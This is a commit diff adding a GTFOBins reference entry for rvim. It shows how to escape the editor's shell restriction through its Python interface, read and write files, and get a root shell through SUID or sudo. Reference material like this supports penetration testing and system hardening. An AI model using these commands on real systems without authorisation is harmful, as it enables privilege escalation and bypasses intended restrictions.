Add vi(m) commands (#39)

_gtfobins/rvim.md

@@ -0,0 +1,18 @@
+---
+description: 'From the manual: with rvim "It will not be possible to start shell commands".'
+functions:
+  shell:
+    - code: rvim -c ':py import os;os.system("sh")'
+  file-write:
+    - code: |
+        rvim file_to_write
+        iDATA
+        ^[
+        w
+  file-read:
+    - code: rvim file_to_read
+  suid:
+    - code: ./rvim -c ':py import os;os.system("sh")'
+  sudo:
+    - code: sudo rvim -c ':py import os;os.system("sh")'
+---